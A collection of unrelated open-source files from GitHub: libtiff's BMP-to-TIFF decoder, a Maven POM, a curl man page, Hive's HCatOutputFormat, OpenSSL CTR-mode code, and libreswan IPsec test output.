lseek(fd, file_hdr.iOffBits, SEEK_SET);
read(fd, comprbuf, compr_size);
i = 0;
j = 0;
if (info_hdr.iBitCount == 8) { /* RLE8 */
while(j < uncompr_size && i < compr_size) {
if ( comprbuf[i] ) {
runlength = comprbuf[i++];
while( runlength > 0
&& j < uncompr_size
&& i < compr_size ) {
uncomprbuf[j++] = comprbuf[i];
runlength--;
}
i++;
} else {
i++;
if (comprbuf[i] == 0) /* Next scanline */
i++;
else if (comprbuf[i] == 1) /* End of image */
break;
else if (comprbuf[i] == 2) { /* Move to... */
i++;
if (i < compr_size - 1) {
j+=comprbuf[i]+comprbuf[i+1]*width;
i += 2;
}
else
break;
} else { /* Absolute mode */
runlength = comprbuf[i++];
for (k = 0; k < runlength && j < uncompr_size && i < compr_size; k++)
uncomprbuf[j++] = comprbuf[i++];
if ( k & 0x01 )
i++;
}
}
}
}
else { /* RLE4 */
while( j < uncompr_size && i < compr_size ) {
if ( comprbuf[i] ) {
runlength = comprbuf[i++];
while( runlength > 0 && j < uncompr_size && i < compr_size ) {
if ( runlength & 0x01 )
uncomprbuf[j++] = (comprbuf[i] & 0xF0) >> 4;
else
uncomprbuf[j++] = comprbuf[i] & 0x0F;
runlength--;
}
i++;
} else {
i++;
if (comprbuf[i] == 0) /* Next scanline */
i++;
else if (comprbuf[i] == 1) /* End of image */
break;
else if (comprbuf[i] == 2) { /* Move to... */
i++;
if (i < compr_size - 1) {
j+=comprbuf[i]+comprbuf[i+1]*width;
i += 2;
}
else
break;
} else { /* Absolute mode */
runlength = comprbuf[i++];
for (k = 0; k < runlength && j < uncompr_size && i < compr_size; k++) {
if (k & 0x01)
uncomprbuf[j++] = comprbuf[i++] & 0x0F;
else
uncomprbuf[j++] = (comprbuf[i] & 0xF0) >> 4;
}
if (k & 0x01)
i++;
}
}
}
}
_TIFFfree(comprbuf);
for (row = 0; row < length; row++) {
if (TIFFWriteScanline(out,
uncomprbuf + (length - row - 1) * width,
row, 0) < 0) {
TIFFError(infilename,
"scanline %lu: Write error.\n",
(unsigned long) row);
}
}
_TIFFfree(uncomprbuf);
}
TIFFWriteDirectory(out);
if (blue_tbl) {
_TIFFfree(blue_tbl);
blue_tbl=NULL;
}
if (green_tbl) {
_TIFFfree(green_tbl);
green_tbl=NULL;
}
if (red_tbl) {
_TIFFfree(red_tbl);
red_tbl=NULL;
}
}
bad3:
if (blue_tbl)
_TIFFfree(blue_tbl);
bad2:
if (green_tbl)
_TIFFfree(green_tbl);
bad1:
if (red_tbl)
_TIFFfree(red_tbl);
bad:
close(fd);
if (out)
TIFFClose(out);
return 0;
}
/*
* Image data in BMP file stored in BGR (or ABGR) format. We should rearrange
* pixels to RGB (RGBA) format.
*/
static void
rearrangePixels(char *buf, uint32 width, uint32 bit_count)
{
char tmp;
uint32 i;
switch(bit_count) {
case 16: /* FIXME: need a sample file */
break;
case 24:
for (i = 0; i < width; i++, buf += 3) {
tmp = *buf;
*buf = *(buf + 2);
*(buf + 2) = tmp;
}
break;
case 32:
{
char *buf1 = buf;
for (i = 0; i < width; i++, buf += 4) {
tmp = *buf;
*buf1++ = *(buf + 2);
*buf1++ = *(buf + 1);
*buf1++ = tmp;
}
}
break;
default:
break;
}
}
static int
processCompressOptions(char* opt)
{
if (strcmp(opt, "none") == 0)
compression = COMPRESSION_NONE;
else if (strcmp(opt, "packbits") == 0)
compression = COMPRESSION_PACKBITS;
else if (strncmp(opt, "jpeg", 4) == 0) {
char* cp = strchr(opt, ':');
compression = COMPRESSION_JPEG;
while( cp )
{
if (isdigit((int)cp[1]))
quality = atoi(cp+1);
else if (cp[1] == 'r' )
jpegcolormode = JPEGCOLORMODE_RAW;
else
usage();
cp = strchr(cp+1,':');
}
} else if (strncmp(opt, "lzw", 3) == 0) {
char* cp = strchr(opt, ':');
if (cp)
predictor = atoi(cp+1);
compression = COMPRESSION_LZW;
} else if (strncmp(opt, "zip", 3) == 0) {
char* cp = strchr(opt, ':');
if (cp)
predictor = atoi(cp+1);
compression = COMPRESSION_DEFLATE;
} else
return (0);
return (1);
}
static char* stuff[] = {
"bmp2tiff --- convert Windows BMP files to TIFF",
"usage: bmp2tiff [options] input.bmp [input2.bmp ...] output.tif",
"where options are:",
" -r # make each strip have no more than # rows",
"",
" -c lzw[:opts] compress output with Lempel-Ziv & Welch encoding",
" -c zip[:opts] compress output with deflate encoding",
" -c jpeg[:opts]compress output with JPEG encoding",
" -c packbits compress output with packbits encoding",
" -c none use no compression algorithm on output",
"",
"JPEG options:",
" # set compression quality level (0-100, default 75)",
" r output color image as RGB rather than YCbCr",
"For example, -c jpeg:r:50 to get JPEG-encoded RGB data with 50% comp. quality",
"",
"LZW and deflate options:",
" # set predictor value",
"For example, -c lzw:2 to get LZW-encoded data with horizontal differencing",
" -o out.tif write output to out.tif",
" -h this help message",
NULL
};
static void
usage(void)
{
char buf[BUFSIZ];
int i;
setbuf(stderr, buf);
fprintf(stderr, "%s\n\n", TIFFGetVersion());
for (i = 0; stuff[i] != NULL; i++)
fprintf(stderr, "%s\n", stuff[i]);
exit(-1);
}
/* vim: set ts=8 sts=8 sw=8 noet: */
/*
* Local Variables:
* mode: c
* c-basic-offset: 8
* fill-column: 78
* End:
*/
| {
"pile_set_name": "Github"
} |
<?xml version='1.0' encoding='UTF-8'?>
<project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0">
<modelVersion>4.0.0</modelVersion>
<groupId>com.gu</groupId>
<artifactId>fastlyapiclient_2.10</artifactId>
<packaging>jar</packaging>
<description>fastlyapiclient</description>
<version>0.2.4</version>
<name>fastlyapiclient</name>
<organization>
<name>com.gu</name>
</organization>
<dependencies>
<dependency>
<groupId>org.scala-lang</groupId>
<artifactId>scala-library</artifactId>
<version>2.10.0</version>
</dependency>
<dependency>
<groupId>com.ning</groupId>
<artifactId>async-http-client</artifactId>
<version>1.7.11</version>
</dependency>
</dependencies>
</project> | {
"pile_set_name": "Github"
} |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html><head>
<title>CURLOPT_SSL_CTX_FUNCTION man page</title>
<meta name="generator" content="roffit">
<STYLE type="text/css">
pre {
overflow: auto;
margin: 0;
}
P.level0, pre.level0 {
padding-left: 2em;
}
P.level1, pre.level1 {
padding-left: 4em;
}
P.level2, pre.level2 {
padding-left: 6em;
}
span.emphasis {
font-style: italic;
}
span.bold {
font-weight: bold;
}
span.manpage {
font-weight: bold;
}
h2.nroffsh {
background-color: #e0e0e0;
}
span.nroffip {
font-weight: bold;
font-size: 120%;
font-family: monospace;
}
p.roffit {
text-align: center;
font-size: 80%;
}
</STYLE>
</head><body>
<p class="level0"><a name="NAME"></a><h2 class="nroffsh">NAME</h2>
<p class="level0">CURLOPT_SSL_CTX_FUNCTION - SSL context callback for OpenSSL or wolfSSL/CyaSSL <a name="SYNOPSIS"></a><h2 class="nroffsh">SYNOPSIS</h2>
<p class="level0"><pre class="level0">
#include <curl/curl.h>
CURLcode ssl_ctx_callback(CURL *curl, void *ssl_ctx, void *userptr);
CURLcode curl_easy_setopt(CURL *handle, CURLOPT_SSL_CTX_FUNCTION,
ssl_ctx_callback);
</pre>
<a name="DESCRIPTION"></a><h2 class="nroffsh">DESCRIPTION</h2>
<p class="level0">This option only works for libcurl powered by OpenSSL or wolfSSL/CyaSSL. If libcurl was built against another SSL library this functionality is absent.
<p class="level0">Pass a pointer to your callback function, which should match the prototype shown above.
<p class="level0">This callback function gets called by libcurl just before the initialization of an SSL connection after having processed all other SSL related options to give a last chance to an application to modify the behaviour of the SSL initialization. The <span Class="emphasis">ssl_ctx</span> parameter is actually a pointer to the SSL library's <span Class="emphasis">SSL_CTX</span>. If an error is returned from the callback no attempt to establish a connection is made and the perform operation will return the callback's error code. Set the <span Class="emphasis">userptr</span> argument with the <a Class="emphasis" href="./CURLOPT_SSL_CTX_DATA.html">CURLOPT_SSL_CTX_DATA</a> option.
<p class="level0">This function will get called on all new connections made to a server, during the SSL negotiation. The SSL_CTX pointer will be a new one every time.
<p class="level0">To use this properly, a non-trivial amount of knowledge of your SSL library is necessary. For example, you can use this function to call library-specific callbacks to add additional validation code for certificates, and even to change the actual URI of a HTTPS request (example used in the lib509 test case). See also the example section for a replacement of the key, certificate and trust file settings. <a name="DEFAULT"></a><h2 class="nroffsh">DEFAULT</h2>
<p class="level0">NULL <a name="PROTOCOLS"></a><h2 class="nroffsh">PROTOCOLS</h2>
<p class="level0">All TLS based protocols: HTTPS, FTPS, IMAPS, POP3S, SMTPS etc. <a name="EXAMPLE"></a><h2 class="nroffsh">EXAMPLE</h2>
<p class="level0">TODO <a name="AVAILABILITY"></a><h2 class="nroffsh">AVAILABILITY</h2>
<p class="level0">Added in 7.11.0 for OpenSSL. Added in 7.42.0 for wolfSSL/CyaSSL. Other SSL backends not supported. <a name="RETURN"></a><h2 class="nroffsh">RETURN VALUE</h2>
<p class="level0">Returns CURLE_OK if the option is supported, and CURLE_UNKNOWN_OPTION if not. <a name="SEE"></a><h2 class="nroffsh">SEE ALSO</h2>
<p class="level0"><a Class="manpage" href="./CURLOPT_SSL_CTX_DATA.html">CURLOPT_SSL_CTX_DATA</a>, <a Class="manpage" href="./CURLOPT_SSL_VERIFYPEER.html">CURLOPT_SSL_VERIFYPEER</a><p class="roffit">
This HTML page was made with <a href="http://daniel.haxx.se/projects/roffit/">roffit</a>.
</body></html>
| {
"pile_set_name": "Github"
} |
hello 1 times, Kaitlin
hello 2 times, Josh
goodbye 1 times, Phil
hello 3 times, Emily
goodbye 2 times, Steve
timeline frame 1
child frame 1
| {
"pile_set_name": "Github"
} |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.hive.hcatalog.mapreduce;
import java.io.IOException;
import java.text.DecimalFormat;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.fs.Path;
import org.apache.hadoop.fs.permission.FsPermission;
import org.apache.hadoop.hive.common.classification.InterfaceAudience;
import org.apache.hadoop.hive.common.classification.InterfaceStability;
import org.apache.hadoop.hive.conf.HiveConf;
import org.apache.hadoop.hive.metastore.IMetaStoreClient;
import org.apache.hadoop.hive.ql.io.AcidUtils;
import org.apache.hadoop.hive.ql.metadata.HiveStorageHandler;
import org.apache.hadoop.hive.metastore.api.FieldSchema;
import org.apache.hadoop.hive.metastore.api.StorageDescriptor;
import org.apache.hadoop.hive.ql.metadata.Table;
import org.apache.hadoop.io.WritableComparable;
import org.apache.hadoop.mapreduce.Job;
import org.apache.hadoop.mapreduce.OutputCommitter;
import org.apache.hadoop.mapreduce.RecordWriter;
import org.apache.hadoop.mapreduce.TaskAttemptContext;
import org.apache.hadoop.security.Credentials;
import org.apache.hive.hcatalog.common.ErrorType;
import org.apache.hive.hcatalog.common.HCatConstants;
import org.apache.hive.hcatalog.common.HCatException;
import org.apache.hive.hcatalog.common.HCatUtil;
import org.apache.hive.hcatalog.data.HCatRecord;
import org.apache.hive.hcatalog.data.schema.HCatSchema;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/** The OutputFormat to use to write data to HCatalog. The key value is ignored and
* should be given as null. The value is the HCatRecord to write.*/
@InterfaceAudience.Public
@InterfaceStability.Stable
public class HCatOutputFormat extends HCatBaseOutputFormat {
static final private Logger LOG = LoggerFactory.getLogger(HCatOutputFormat.class);
private static int maxDynamicPartitions;
private static boolean harRequested;
/**
* @see org.apache.hive.hcatalog.mapreduce.HCatOutputFormat#setOutput(org.apache.hadoop.conf.Configuration, Credentials, OutputJobInfo)
*/
public static void setOutput(Job job, OutputJobInfo outputJobInfo) throws IOException {
setOutput(job.getConfiguration(), job.getCredentials(), outputJobInfo);
}
/**
* Set the information about the output to write for the job. This queries the metadata server
* to find the StorageHandler to use for the table. It throws an error if the
* partition is already published.
* @param conf the Configuration object
* @param credentials the Credentials object
* @param outputJobInfo the table output information for the job
* @throws IOException the exception in communicating with the metadata server
*/
@SuppressWarnings("unchecked")
public static void setOutput(Configuration conf, Credentials credentials,
OutputJobInfo outputJobInfo) throws IOException {
IMetaStoreClient client = null;
try {
HiveConf hiveConf = HCatUtil.getHiveConf(conf);
client = HCatUtil.getHiveMetastoreClient(hiveConf);
Table table = HCatUtil.getTable(client, outputJobInfo.getDatabaseName(),
outputJobInfo.getTableName());
StorageDescriptor sd = table.getTTable().getSd();
if (sd.isCompressed()) {
throw new HCatException(ErrorType.ERROR_NOT_SUPPORTED, "Store into a compressed partition from Pig/Mapreduce is not supported");
}
if (sd.getBucketCols() != null && !sd.getBucketCols().isEmpty()) {
throw new HCatException(ErrorType.ERROR_NOT_SUPPORTED, "Store into a partition with bucket definition from Pig/Mapreduce is not supported");
}
if (sd.getSortCols() != null && !sd.getSortCols().isEmpty()) {
throw new HCatException(ErrorType.ERROR_NOT_SUPPORTED, "Store into a partition with sorted column definition from Pig/Mapreduce is not supported");
}
if (AcidUtils.isTransactionalTable(table)) {
throw new HCatException(ErrorType.ERROR_NOT_SUPPORTED, "Store into a transactional table "
+ table.getFullyQualifiedName() + " from Pig/Mapreduce is not supported");
}
// Set up a common id hash for this job, so that when we create any temporary directory
// later on, it is guaranteed to be unique.
String idHash;
DecimalFormat df = new DecimalFormat("#.####################");
if ((idHash = conf.get(HCatConstants.HCAT_OUTPUT_ID_HASH)) == null) {
idHash = String.valueOf(df.format(Math.random()));
}
conf.set(HCatConstants.HCAT_OUTPUT_ID_HASH,idHash);
if (table.getTTable().getPartitionKeysSize() == 0) {
if ((outputJobInfo.getPartitionValues() != null) && (!outputJobInfo.getPartitionValues().isEmpty())) {
// attempt made to save partition values in non-partitioned table - throw error.
throw new HCatException(ErrorType.ERROR_INVALID_PARTITION_VALUES,
"Partition values specified for non-partitioned table");
}
// non-partitioned table
outputJobInfo.setPartitionValues(new HashMap<String, String>());
} else {
// partitioned table, we expect partition values
// convert user specified map to have lower case key names
Map<String, String> valueMap = new HashMap<String, String>();
if (outputJobInfo.getPartitionValues() != null) {
for (Map.Entry<String, String> entry : outputJobInfo.getPartitionValues().entrySet()) {
valueMap.put(entry.getKey().toLowerCase(), entry.getValue());
}
}
if ((outputJobInfo.getPartitionValues() == null)
|| (outputJobInfo.getPartitionValues().size() < table.getTTable().getPartitionKeysSize())) {
// dynamic partition usecase - partition values were null, or not all were specified
// need to figure out which keys are not specified.
List<String> dynamicPartitioningKeys = new ArrayList<String>();
boolean firstItem = true;
for (FieldSchema fs : table.getPartitionKeys()) {
if (!valueMap.containsKey(fs.getName().toLowerCase())) {
dynamicPartitioningKeys.add(fs.getName().toLowerCase());
}
}
if (valueMap.size() + dynamicPartitioningKeys.size() != table.getTTable().getPartitionKeysSize()) {
// If this isn't equal, then bogus key values have been inserted, error out.
throw new HCatException(ErrorType.ERROR_INVALID_PARTITION_VALUES, "Invalid partition keys specified");
}
outputJobInfo.setDynamicPartitioningKeys(dynamicPartitioningKeys);
String dynHash;
if ((dynHash = conf.get(HCatConstants.HCAT_DYNAMIC_PTN_JOBID)) == null) {
dynHash = String.valueOf(Math.random());
}
conf.set(HCatConstants.HCAT_DYNAMIC_PTN_JOBID, dynHash);
// if custom pattern is set in case of dynamic partitioning, configure custom path
String customPattern = conf.get(HCatConstants.HCAT_DYNAMIC_CUSTOM_PATTERN);
if (customPattern != null) {
HCatFileUtil.setCustomPath(customPattern, outputJobInfo);
}
}
outputJobInfo.setPartitionValues(valueMap);
}
// To get around hbase failure on single node, see BUG-4383
conf.set("dfs.client.read.shortcircuit", "false");
HCatSchema tableSchema = HCatUtil.extractSchema(table);
StorerInfo storerInfo =
InternalUtil.extractStorerInfo(table.getTTable().getSd(), table.getParameters());
List<String> partitionCols = new ArrayList<String>();
for (FieldSchema schema : table.getPartitionKeys()) {
partitionCols.add(schema.getName());
}
HiveStorageHandler storageHandler = HCatUtil.getStorageHandler(conf, storerInfo);
//Serialize the output info into the configuration
outputJobInfo.setTableInfo(HCatTableInfo.valueOf(table.getTTable()));
outputJobInfo.setOutputSchema(tableSchema);
harRequested = getHarRequested(hiveConf);
outputJobInfo.setHarRequested(harRequested);
maxDynamicPartitions = getMaxDynamicPartitions(hiveConf);
outputJobInfo.setMaximumDynamicPartitions(maxDynamicPartitions);
HCatUtil.configureOutputStorageHandler(storageHandler, conf, outputJobInfo);
Path tblPath = new Path(table.getTTable().getSd().getLocation());
/* Set the umask in conf such that files/dirs get created with table-dir
* permissions. Following three assumptions are made:
* 1. Actual files/dirs creation is done by RecordWriter of underlying
* output format. It is assumed that they use default permissions while creation.
* 2. Default Permissions = FsPermission.getDefault() = 777.
* 3. UMask is honored by underlying filesystem.
*/
FsPermission.setUMask(conf, FsPermission.getDefault().applyUMask(
tblPath.getFileSystem(conf).getFileStatus(tblPath).getPermission()));
if (Security.getInstance().isSecurityEnabled()) {
Security.getInstance().handleSecurity(credentials, outputJobInfo, client, conf, harRequested);
}
} catch (Exception e) {
if (e instanceof HCatException) {
throw (HCatException) e;
} else {
throw new HCatException(ErrorType.ERROR_SET_OUTPUT, e);
}
} finally {
HCatUtil.closeHiveClientQuietly(client);
}
}
/**
* @see org.apache.hive.hcatalog.mapreduce.HCatOutputFormat#setSchema(org.apache.hadoop.conf.Configuration, org.apache.hive.hcatalog.data.schema.HCatSchema)
*/
public static void setSchema(final Job job, final HCatSchema schema) throws IOException {
setSchema(job.getConfiguration(), schema);
}
/**
* Set the schema for the data being written out to the partition. The
* table schema is used by default for the partition if this is not called.
* @param conf the job Configuration object
* @param schema the schema for the data
* @throws IOException
*/
public static void setSchema(final Configuration conf, final HCatSchema schema) throws IOException {
OutputJobInfo jobInfo = getJobInfo(conf);
Map<String, String> partMap = jobInfo.getPartitionValues();
setPartDetails(jobInfo, schema, partMap);
conf.set(HCatConstants.HCAT_KEY_OUTPUT_INFO, HCatUtil.serialize(jobInfo));
}
/**
* Get the record writer for the job. This uses the StorageHandler's default
* OutputFormat to get the record writer.
* @param context the information about the current task
* @return a RecordWriter to write the output for the job
* @throws IOException
* @throws InterruptedException
*/
@Override
public RecordWriter<WritableComparable<?>, HCatRecord>
getRecordWriter(TaskAttemptContext context)
throws IOException, InterruptedException {
return getOutputFormat(context).getRecordWriter(context);
}
/**
* Get the output committer for this output format. This is responsible
* for ensuring the output is committed correctly.
* @param context the task context
* @return an output committer
* @throws IOException
* @throws InterruptedException
*/
@Override
public OutputCommitter getOutputCommitter(TaskAttemptContext context
) throws IOException, InterruptedException {
return getOutputFormat(context).getOutputCommitter(context);
}
private static int getMaxDynamicPartitions(HiveConf hConf) {
// by default the bounds checking for maximum number of
// dynamic partitions is disabled (-1)
int maxDynamicPartitions = -1;
if (HCatConstants.HCAT_IS_DYNAMIC_MAX_PTN_CHECK_ENABLED) {
maxDynamicPartitions = hConf.getIntVar(
HiveConf.ConfVars.DYNAMICPARTITIONMAXPARTS);
}
return maxDynamicPartitions;
}
private static boolean getHarRequested(HiveConf hConf) {
return hConf.getBoolVar(HiveConf.ConfVars.HIVEARCHIVEENABLED);
}
}
| {
"pile_set_name": "Github"
} |
/* ====================================================================
* Copyright (c) 2008 The OpenSSL Project. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
*
* 3. All advertising materials mentioning features or use of this
* software must display the following acknowledgment:
* "This product includes software developed by the OpenSSL Project
* for use in the OpenSSL Toolkit. (http://www.openssl.org/)"
*
* 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to
* endorse or promote products derived from this software without
* prior written permission. For written permission, please contact
* [email protected].
*
* 5. Products derived from this software may not be called "OpenSSL"
* nor may "OpenSSL" appear in their names without prior written
* permission of the OpenSSL Project.
*
* 6. Redistributions of any form whatsoever must retain the following
* acknowledgment:
* "This product includes software developed by the OpenSSL Project
* for use in the OpenSSL Toolkit (http://www.openssl.org/)"
*
* THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY
* EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR
* ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
* ====================================================================
*
*/
#include <openssl/crypto.h>
#include "modes_lcl.h"
#include <string.h>
#ifndef MODES_DEBUG
# ifndef NDEBUG
# define NDEBUG
# endif
#endif
#include <assert.h>
/*
* NOTE: the IV/counter CTR mode is big-endian. The code itself is
* endian-neutral.
*/
/* increment counter (128-bit int) by 1 */
static void ctr128_inc(unsigned char *counter)
{
u32 n = 16, c = 1;
do {
--n;
c += counter[n];
counter[n] = (u8)c;
c >>= 8;
} while (n);
}
#if !defined(OPENSSL_SMALL_FOOTPRINT)
static void ctr128_inc_aligned(unsigned char *counter)
{
size_t *data, c, d, n;
const union {
long one;
char little;
} is_endian = {
1
};
if (is_endian.little || ((size_t)counter % sizeof(size_t)) != 0) {
ctr128_inc(counter);
return;
}
data = (size_t *)counter;
c = 1;
n = 16 / sizeof(size_t);
do {
--n;
d = data[n] += c;
/* did addition carry? */
c = ((d - c) & ~d) >> (sizeof(size_t) * 8 - 1);
} while (n);
}
#endif
/*
* The input encrypted as though 128bit counter mode is being used. The
* extra state information to record how much of the 128bit block we have
* used is contained in *num, and the encrypted counter is kept in
* ecount_buf. Both *num and ecount_buf must be initialised with zeros
* before the first call to CRYPTO_ctr128_encrypt(). This algorithm assumes
* that the counter is in the x lower bits of the IV (ivec), and that the
* application has full control over overflow and the rest of the IV. This
* implementation takes NO responsability for checking that the counter
* doesn't overflow into the rest of the IV when incremented.
*/
void CRYPTO_ctr128_encrypt(const unsigned char *in, unsigned char *out,
size_t len, const void *key,
unsigned char ivec[16],
unsigned char ecount_buf[16], unsigned int *num,
block128_f block)
{
unsigned int n;
size_t l = 0;
assert(in && out && key && ecount_buf && num);
assert(*num < 16);
n = *num;
#if !defined(OPENSSL_SMALL_FOOTPRINT)
if (16 % sizeof(size_t) == 0) { /* always true actually */
do {
while (n && len) {
*(out++) = *(in++) ^ ecount_buf[n];
--len;
n = (n + 1) % 16;
}
# if defined(STRICT_ALIGNMENT)
if (((size_t)in | (size_t)out | (size_t)ecount_buf)
% sizeof(size_t) != 0)
break;
# endif
while (len >= 16) {
(*block) (ivec, ecount_buf, key);
ctr128_inc_aligned(ivec);
for (n = 0; n < 16; n += sizeof(size_t))
*(size_t *)(out + n) =
*(size_t *)(in + n) ^ *(size_t *)(ecount_buf + n);
len -= 16;
out += 16;
in += 16;
n = 0;
}
if (len) {
(*block) (ivec, ecount_buf, key);
ctr128_inc_aligned(ivec);
while (len--) {
out[n] = in[n] ^ ecount_buf[n];
++n;
}
}
*num = n;
return;
} while (0);
}
/* the rest would be commonly eliminated by x86* compiler */
#endif
while (l < len) {
if (n == 0) {
(*block) (ivec, ecount_buf, key);
ctr128_inc(ivec);
}
out[l] = in[l] ^ ecount_buf[n];
++l;
n = (n + 1) % 16;
}
*num = n;
}
/* increment upper 96 bits of 128-bit counter by 1 */
static void ctr96_inc(unsigned char *counter)
{
u32 n = 12, c = 1;
do {
--n;
c += counter[n];
counter[n] = (u8)c;
c >>= 8;
} while (n);
}
void CRYPTO_ctr128_encrypt_ctr32(const unsigned char *in, unsigned char *out,
size_t len, const void *key,
unsigned char ivec[16],
unsigned char ecount_buf[16],
unsigned int *num, ctr128_f func)
{
unsigned int n, ctr32;
assert(in && out && key && ecount_buf && num);
assert(*num < 16);
n = *num;
while (n && len) {
*(out++) = *(in++) ^ ecount_buf[n];
--len;
n = (n + 1) % 16;
}
ctr32 = GETU32(ivec + 12);
while (len >= 16) {
size_t blocks = len / 16;
/*
* 1<<28 is just a not-so-small yet not-so-large number...
* Below condition is practically never met, but it has to
* be checked for code correctness.
*/
if (sizeof(size_t) > sizeof(unsigned int) && blocks > (1U << 28))
blocks = (1U << 28);
/*
* As (*func) operates on 32-bit counter, caller
* has to handle overflow. 'if' below detects the
* overflow, which is then handled by limiting the
* amount of blocks to the exact overflow point...
*/
ctr32 += (u32)blocks;
if (ctr32 < blocks) {
blocks -= ctr32;
ctr32 = 0;
}
(*func) (in, out, blocks, key, ivec);
/* (*ctr) does not update ivec, caller does: */
PUTU32(ivec + 12, ctr32);
/* ... overflow was detected, propogate carry. */
if (ctr32 == 0)
ctr96_inc(ivec);
blocks *= 16;
len -= blocks;
out += blocks;
in += blocks;
}
if (len) {
memset(ecount_buf, 0, 16);
(*func) (ecount_buf, ecount_buf, 1, key, ivec);
++ctr32;
PUTU32(ivec + 12, ctr32);
if (ctr32 == 0)
ctr96_inc(ivec);
while (len--) {
out[n] = in[n] ^ ecount_buf[n];
++n;
}
}
*num = n;
}
| {
"pile_set_name": "Github"
} |
<meta charset="UTF-8">
<html>
<body>
<img src="libwebsockets.org-logo.png"><br>
Hello from the <b>minimal http server eventlib foreign loop example</b>.
<br>
The timer messages in the console are coming from<br>
a timer on the event library lib loop set up before the lws context<br>
started using it.
</body>
</html>
| {
"pile_set_name": "Github"
} |
/* Soot - a J*va Optimization Framework
* Copyright (C) 2004 Ondrej Lhotak
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the
* Free Software Foundation, Inc., 59 Temple Place - Suite 330,
* Boston, MA 02111-1307, USA.
*/
package soot;
/** Exception thrown when resolving a method or field reference fails.
*/
public class ResolutionFailedException extends RuntimeException {
/**
*
*/
private static final long serialVersionUID = -5920478779446526550L;
protected ResolutionFailedException( String message ) {
super(message);
}
}
| {
"pile_set_name": "Github"
} |
/testing/guestbin/swan-prep --x509
Preparing X.509 files
east #
certutil -d sql:/etc/ipsec.d -D -n west
east #
ipsec start
Redirecting to: [initsystem]
east #
/testing/pluto/bin/wait-until-pluto-started
east #
ipsec auto --add nss-cert
002 added IKEv1 connection "nss-cert"
east #
ipsec auto --status |grep nss-cert
000 "nss-cert": 192.0.2.254/32===192.1.2.23<192.1.2.23>[C=CA, ST=Ontario, L=Toronto, O=Libreswan, OU=Test Department, CN=east.testing.libreswan.org, [email protected]]...192.1.2.45<192.1.2.45>[%fromcert]===192.0.1.254/32; unrouted; eroute owner: #0
000 "nss-cert": oriented; my_ip=192.0.2.254; their_ip=192.0.1.254; mycert=east; my_updown=ipsec _updown;
000 "nss-cert": xauth us:none, xauth them:none, my_username=[any]; their_username=[any]
000 "nss-cert": our auth:rsasig, their auth:rsasig
000 "nss-cert": modecfg info: us:none, them:none, modecfg policy:push, dns:unset, domains:unset, banner:unset, cat:unset;
000 "nss-cert": policy_label:unset;
000 "nss-cert": CAs: 'C=CA, ST=Ontario, L=Toronto, O=Libreswan, OU=Test Department, CN=Libreswan test CA for mainca, [email protected]'...'%any'
000 "nss-cert": ike_life: 3600s; ipsec_life: 28800s; replay_window: 32; rekey_margin: 540s; rekey_fuzz: 100%; keyingtries: 0;
000 "nss-cert": retransmit-interval: 9999ms; retransmit-timeout: 99s; iketcp:no; iketcp-port:4500;
000 "nss-cert": initial-contact:no; cisco-unity:no; fake-strongswan:no; send-vendorid:no; send-no-esp-tfc:no;
000 "nss-cert": policy: RSASIG+ENCRYPT+TUNNEL+PFS+IKEV1_ALLOW+IKE_FRAG_ALLOW+ESN_NO;
000 "nss-cert": conn_prio: 32,32; interface: eth1; metric: 0; mtu: unset; sa_prio:auto; sa_tfc:none;
000 "nss-cert": nflog-group: unset; mark: unset; vti-iface:unset; vti-routing:no; vti-shared:no; nic-offload:auto;
000 "nss-cert": our idtype: ID_DER_ASN1_DN; our id=C=CA, ST=Ontario, L=Toronto, O=Libreswan, OU=Test Department, CN=east.testing.libreswan.org, [email protected]; their idtype: %fromcert; their id=%fromcert
